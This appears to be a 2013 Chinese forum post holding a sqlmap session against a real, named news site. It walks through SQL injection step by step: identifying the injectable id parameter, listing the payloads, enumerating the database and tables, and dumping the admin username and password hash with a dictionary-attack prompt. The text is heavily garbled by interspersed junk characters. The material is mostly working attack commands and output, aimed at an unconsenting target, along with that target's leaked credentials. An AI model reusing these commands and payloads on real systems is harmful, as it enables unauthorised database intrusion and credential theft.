D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
' K1 d0 J* ]9 f# ?! o' vms "Mysql" --current-user /* 注解：获取当前用户名称
- Z. L& f% o8 c. x' v sqlmap/0.9 - automatic SQL injection and database takeover tool: V7 F4 O+ S& R) L
http://sqlmap.sourceforge.net starting at: 16:53:54
; }8 ^9 I6 k) z. C0 ][16:53:54] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as F/ E B" N0 S, Q
session file$ }" z+ C" e8 ^# @$ l
[16:53:54] [INFO] resuming injection data from session file
" L6 s c# v) Z- L6 ?* l; h[16:53:54] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
& l/ ?9 ^1 h# f. d3 v* s( d[16:53:54] [INFO] testing connection to the target url
" y8 b a) S' `3 a5 W+ jsqlmap identified the following injection points with a total of 0 HTTP(s) reque# G+ i% z5 n1 Y9 o( ~ e
sts:
( k# V3 m M7 H; M4 J- P: i---8 J- J+ Q( u9 D( s9 Z) r
Place: GET
4 Y; O9 |8 \* EParameter: id
+ w( @4 c9 x2 ]: w Type: boolean-based blind+ a% O6 }! r- i+ Y& ^+ o5 V
Title: AND boolean-based blind - WHERE or HAVING clause4 \, ?* R3 N- Z- c: k- L
Payload: id=276 AND 799=799
5 J1 g$ n# Y1 B; c5 q; b; P, F Type: error-based7 E) ]: n! h7 M, O# [9 u
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
$ h1 p0 {2 J% R6 G Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,' u# }5 @. l0 c
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58/ B* a0 p+ F. J' x# [. {
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a): H* z# i4 g5 N8 T7 Z3 f. o6 U
Type: UNION query5 h0 [: A2 K& y2 Y; H
Title: MySQL UNION query (NULL) - 1 to 10 columns
. M# j# o1 @/ o( r/ | Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
* u6 L5 R8 Q6 N! K(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
- V* g9 u0 i/ s& O2 z9 jCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
- K( {* j# ^1 x1 H; b Type: AND/OR time-based blind
! C! j1 A% r( `1 [ Title: MySQL > 5.0.11 AND time-based blind
( e/ }6 B2 b+ h8 }4 ~: p Payload: id=276 AND SLEEP(5)
' r3 k: m. x0 d: e---; ~- I7 b$ s* h4 n& t& M* t
[16:53:55] [INFO] the back-end DBMS is MySQL( G9 J6 `4 c+ k" ^+ e8 j# C1 H
web server operating system: Windows) N! `% M0 h1 S, G# d {" o# s
web application technology: Apache 2.2.11, PHP 5.3.0# C' G3 M( B! p0 J! {( ^ N1 P
back-end DBMS: MySQL 5.0
* I/ b& C& I' a% W# \. I[16:53:55] [INFO] fetching current user
4 l7 ~" v+ M" c8 v2 {0 |) W# Vcurrent user: 'root@localhost' 5 G, b( b8 F4 ]% n
[16:53:58] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou8 M. C# @$ Y. E
tput\www.wepost.com.hk' shutting down at: 16:53:58
* r4 ]1 q+ e. g4 P1 T1 v8 k6 j
, A( l0 u8 `: e5 F* S* @; V1 _5 y0 JD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db; H$ k2 ^. [/ [+ x
ms "Mysql" --current-db /*当前数据库
& N! S9 q& u! T# y O sqlmap/0.9 - automatic SQL injection and database takeover tool
; w$ G1 R2 t; P6 B6 ]3 D* x8 B& i http://sqlmap.sourceforge.net starting at: 16:54:16
5 n6 @! y+ I3 U' F[16:54:16] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
2 h y" {9 m, Y4 W! ^3 E b: a session file1 T1 w% p) f% r8 E( B6 A- N
[16:54:16] [INFO] resuming injection data from session file
. Z* u4 h8 i& g+ j! C- s[16:54:16] [INFO] resuming back-end DBMS 'mysql 5.0' from session file) H' y+ X: {4 I0 b/ z
[16:54:16] [INFO] testing connection to the target url3 m+ W0 q4 P) D7 f0 u) K
sqlmap identified the following injection points with a total of 0 HTTP(s) reque9 _* C* ]9 W3 e+ F2 O
sts:0 y6 u4 v% W( }5 W% Y
---7 {1 v3 r8 ?) l. ]# H
Place: GET- A6 t' ^5 f; D2 {3 z; m1 d$ Z1 \
Parameter: id
B# u7 N7 ^9 J- P' M+ y Type: boolean-based blind
/ }3 N: u8 m! Q5 F3 {( T Title: AND boolean-based blind - WHERE or HAVING clause2 U+ t" d- w5 o$ ^+ B' S/ X% N) N8 ]
Payload: id=276 AND 799=799# ?8 \( I( A7 F8 p* K; Z& K6 E# @
Type: error-based
/ j1 @) u6 ^3 {, @9 C k Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause: m- d7 y# ?2 [0 u K
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
# w; z- A" p: h: i7 ^120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58& V! e$ v& ~3 x
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
+ ~ W7 ^, m5 }: Y! b Type: UNION query {6 e* ^: j; y( r" J
Title: MySQL UNION query (NULL) - 1 to 10 columns
; W# M4 z0 r/ P% @, u Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
3 B7 z( a/ Z: Q$ U( O3 _; o(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
+ x& F6 Y' z }7 L+ ?CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#9 c6 I) V0 X1 n% u4 a p6 q
Type: AND/OR time-based blind6 ^; l& }: p1 f* Q7 V+ J4 n
Title: MySQL > 5.0.11 AND time-based blind0 M+ p; _1 ?3 l6 [1 h" p5 r/ h
Payload: id=276 AND SLEEP(5)
' |% T( [, T4 t, S3 m Y4 ^! F. ^---, @; t `* O3 G5 U L5 L/ T4 O
[16:54:17] [INFO] the back-end DBMS is MySQL/ R7 t1 E) d1 R3 [- z; I4 p
web server operating system: Windows
0 c' E# g, e. `. m) i& vweb application technology: Apache 2.2.11, PHP 5.3.0
, K4 k) `! M R8 Q5 X% f0 zback-end DBMS: MySQL 5.0' ~# [2 ?/ M8 C( V' I% g
[16:54:17] [INFO] fetching current database. G, Q! d: ?+ k2 S
current database: 'wepost'* p* k R- j4 C# y& a
[16:54:18] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou" y9 `; i: i3 G/ z; W
tput\www.wepost.com.hk' shutting down at: 16:54:18) V4 \. z7 |# I* s0 x' i* p/ ?* c
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db" ]" \) E2 l' S" q* C: C
ms "Mysql" --tables -D "wepost" /*获取当前数据库的表名
' A, s+ C/ w( w: V' c y sqlmap/0.9 - automatic SQL injection and database takeover tool
# J* r( V6 h8 X- J1 _ http://sqlmap.sourceforge.net starting at: 16:55:25
3 j" T. T# O; r0 N6 @7 j$ v& I[16:55:25] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
5 L2 x8 L+ d% r+ {. s( ? session file A/ X3 T# l. z7 W( l; v$ p$ G
[16:55:25] [INFO] resuming injection data from session file
3 l* ?3 @. C/ C. a( I! f% b" c[16:55:25] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
0 X. ] x1 H0 e[16:55:25] [INFO] testing connection to the target url
; ~6 {! o8 t: P; tsqlmap identified the following injection points with a total of 0 HTTP(s) reque& y" x7 |- N. [ m5 G/ f+ G
sts:
* e3 H/ J q G" a/ V: S; o* A---
' T; Y( z7 _6 yPlace: GET' Y! ^9 P; t; M8 s/ v* L
Parameter: id- v9 Z- k: r5 w( Q, }8 {3 ?4 d
Type: boolean-based blind7 h6 A- z, y2 x
Title: AND boolean-based blind - WHERE or HAVING clause$ s( G/ u1 {5 A4 s
Payload: id=276 AND 799=799) f' r0 C$ r2 ^4 U3 @( o
Type: error-based' f- ^7 ]. r& E0 Z' R
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause: Q Z) U9 v" b7 s% B& N
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,$ z) p6 j4 ^9 |, @# H/ s( F6 c
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58+ |. ^1 K! g _6 q0 ]- F1 I$ |/ C
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)) H5 T4 @) u7 Q7 T( t8 B
Type: UNION query
6 p7 D6 P+ W4 u" J) T Title: MySQL UNION query (NULL) - 1 to 10 columns
" g- u5 p9 N O; ]4 U# l# ~ Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR6 c4 L7 q, t6 c, U2 w" V; n# V
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
# _. h3 m) n5 J7 fCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
$ v, H4 L! O$ ^! {9 h: K Type: AND/OR time-based blind1 O6 z$ H0 @+ ~* \1 F( U( l Z! ]. B* w
Title: MySQL > 5.0.11 AND time-based blind
$ W* T+ @. d. [1 h; _ Payload: id=276 AND SLEEP(5)
1 l2 Y! h* j& ^, c: V$ e---! ~& H. O3 J% H4 [! X3 w
[16:55:26] [INFO] the back-end DBMS is MySQL
8 d8 u4 W- U4 p$ e& G7 sweb server operating system: Windows
4 c3 J. Y" U2 Dweb application technology: Apache 2.2.11, PHP 5.3.0
, s0 D" d% y0 Oback-end DBMS: MySQL 5.04 _: f1 F3 f) ?" N! ?* C+ u0 K. k
[16:55:26] [INFO] fetching tables for database 'wepost'
7 ^ n9 |: _ H) M4 R7 @[16:55:27] [INFO] the SQL query used returns 6 entries
* w$ w ^- _; N4 LDatabase: wepost: P& ]! Y0 f5 t6 Z1 G5 y% \
[6 tables]; ~) Z- h! |" T ~2 Q8 W, U
+-------------+
4 E, h1 V/ g( e8 `# N| admin |
% L" D, @! g. Z| article |9 n) }! Y( N7 r( C( X+ {
| contributor |- v; K. s) X- [
| idea |7 W p; f; K! r9 y. m2 j# d
| image |* d' c/ g4 \- |* O
| issue |
+ ]0 q" S, |9 j" K( v+-------------++ k; O% h; `- R* V9 t) Q& G1 @
[16:55:33] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
7 x$ X R# A& f* h. @' h5 O# `2 atput\www.wepost.com.hk' shutting down at: 16:55:33$ N5 Q7 S1 S3 L# k) H6 A
) M, [2 r5 P5 i! JD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db# g, Y0 s* } R3 }! |9 F
ms "Mysql" --columns -T "admin" users-D "wepost" -v 0 /*获取admin表的字段名6 u+ v \2 {) T- O) y
sqlmap/0.9 - automatic SQL injection and database takeover tool- I9 I" v2 w6 T
http://sqlmap.sourceforge.net starting at: 16:56:06
. \+ R- W3 ^5 ~8 d. wsqlmap identified the following injection points with a total of 0 HTTP(s) reque7 ^# O* f: c' V$ z% Z$ k ]
sts:
9 z9 N! Q: Y, X---
) v# \; Q: `' L5 Q, NPlace: GET, E0 w8 ^$ E* L+ W; r8 ?4 V
Parameter: id/ s6 T3 r/ ?4 v
Type: boolean-based blind
7 k: R6 K3 @8 A3 \$ `# T: F Title: AND boolean-based blind - WHERE or HAVING clause V9 m R& c. N Y' ?+ K
Payload: id=276 AND 799=7991 h8 S7 C) p% N( p
Type: error-based
" R) f9 r4 k7 n; r% U1 b) W Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause/ d6 ~: d% ^; S: Q" V. G! W& B9 V3 H. |
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,% J" @: u. D4 |! R ~
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58" d! C% A. ~& ]
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
/ Q4 \' M4 M. b+ C1 k' L Type: UNION query% ?0 f" r5 P3 x, T" r' V% G* v
Title: MySQL UNION query (NULL) - 1 to 10 columns: q5 o( b2 i% s A7 l. \( z
Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
, c6 Y# y: I+ N8 h- a(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),. J& f7 o( e" V* N
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
& F) S5 z+ l" V1 M Type: AND/OR time-based blind
0 d) U8 ^8 a9 u t' { Title: MySQL > 5.0.11 AND time-based blind5 Y7 b) K. Y0 X2 ~2 Y" y
Payload: id=276 AND SLEEP(5)% J4 z% W4 Y# K) d8 h- L/ R& s
---( R3 D; H9 \# H# _) p& v0 ?
web server operating system: Windows
+ `5 O$ \, w5 ~0 [/ |* ]web application technology: Apache 2.2.11, PHP 5.3.0
8 t. k2 C, P4 \' u. j1 `/ ^9 oback-end DBMS: MySQL 5.0
: S$ Q. {" X8 D6 e[16:56:11] [INFO] read from file 'D:\Python27\sqlmap\output\www.wepost.com.hk\se7 W; v3 {1 ]3 J; m* V% ]# Y
ssion': wepost, wepost
8 q7 f) d' d0 o5 M. |# [) Z; Y8 y6 VDatabase: wepost- ~( M7 B6 |6 y# ^. ^( l2 v G. e& d
Table: admin. \/ i4 t0 V. R4 p( e! ]' ^
[4 columns]
& ^3 U. B, E$ J' J+----------+-------------+
! r" |* \' [! c# c" i. \| Column | Type |# q5 N+ M) I7 Q1 S) ?! L
+----------+-------------+; d/ @: v, Q1 }& w* ?- ^9 z
| id | int(11) |
y1 n* j( ]7 ~" T" b# v& n& h H| password | varchar(32) |
; m7 v) g% ^* q- i. t5 X) ?4 X| type | varchar(10) |
p5 G2 A/ m: Z! D# P| userid | varchar(20) |
3 \, B. {2 _& j! L* S( a, x9 O# |+----------+-------------+8 ?) q+ U# D# m7 T3 H5 m
shutting down at: 16:56:19
, n# e% Q+ U; Q! z, f7 s8 g. m0 C7 `; h( y/ Y& Z- R( Q8 G/ V9 j
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db+ f4 t) {1 X" x6 n0 N6 n, b, ]1 H
ms "Mysql" --dump -C "userid,password" -T "admin" -D "wepost" -v 0 /*获取字段里面的内容* `3 E$ F% Q$ M6 s
sqlmap/0.9 - automatic SQL injection and database takeover tool
/ w) G3 T8 T8 Z7 ]& p* ?3 m, f8 k; ~ http://sqlmap.sourceforge.net starting at: 16:57:14
9 a4 O! q0 ~9 I/ u% ]sqlmap identified the following injection points with a total of 0 HTTP(s) reque( O4 f, a$ J& I8 [6 P) p
sts:: p; `8 Y' [2 E" O; H! F
---
9 q. ^; T) G# ]& q1 I3 n9 CPlace: GET7 j5 i( l$ f- x5 w1 h1 ~ F
Parameter: id! a! i5 o& d+ G/ a
Type: boolean-based blind
5 v+ T X4 @, X; x3 N5 l! D2 k Title: AND boolean-based blind - WHERE or HAVING clause
4 {4 a3 [8 F& d/ { Payload: id=276 AND 799=799
1 W& G' u& r% i: q Type: error-based
0 c! w* h7 A1 s( T Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause% X. x3 M0 X/ a; a0 |
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,# M# |4 q7 W! O, b
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
. u; l3 k: A+ L),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
8 I* T# H- o! L5 R1 ^( M" p Type: UNION query- v" T0 B$ k7 l% ~4 M. S
Title: MySQL UNION query (NULL) - 1 to 10 columns
! `* d+ P. x" R8 ^, p8 f' f Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR7 b) d6 W/ u& Q- |
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
( }1 o5 _; g3 P5 B: v5 g; ]& ]! @CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#, E( Z! |0 d; H
Type: AND/OR time-based blind, e6 d, d4 J6 Y3 P' q( b1 N
Title: MySQL > 5.0.11 AND time-based blind- \3 c8 z' D+ j E6 W
Payload: id=276 AND SLEEP(5)' M. e+ e% ~" A; }3 ` U9 U
---
" ~% ?* m+ A7 yweb server operating system: Windows
# U6 V2 F7 v. y/ m( X4 g% @) jweb application technology: Apache 2.2.11, PHP 5.3.0) G: z5 y; F' m$ z
back-end DBMS: MySQL 5.0% H) o' C) ?' _8 N. c2 ~0 N
recognized possible password hash values. do you want to use dictionary attack o4 @! A/ Q" q! I
n retrieved table items? [Y/n/q] y
7 w; {- p$ F. v, `what's the dictionary's location? [D:\Python27\sqlmap\txt\wordlist.txt]
' p: @+ t: w0 [# a+ Ndo you want to use common password suffixes? (slow!) [y/N] y3 l) J' P7 Z3 J M1 q- j
Database: wepost$ l. w* z" F: w) v8 t# ~; c
Table: admin3 f i7 A' }: h( e |% t
[1 entry]1 Q$ P3 q1 x; S5 U- T. t7 E
+----------------------------------+------------+1 z- ~( \' O/ z9 @1 o3 c
| password | userid |. |# `4 c2 S" t. k& `, H& }
+----------------------------------+------------+3 M3 s1 x8 E" P' d
| 7d4d7589db8b28e04db0982dd0e92189 | wepost2010 |
0 z4 O- d- l6 d: A/ L3 ~+ k7 Q( i$ E6 l+----------------------------------+------------+
; H; P6 c" V8 N, O5 c( X shutting down at: 16:58:148 H6 a; k l( |/ w4 P$ B8 Z# h
) T6 Y3 m6 t. w% A( @8 w9 JD:\Python27\sqlmap> |
发表于 2013-4-4 22:18:49
收藏
支持
反对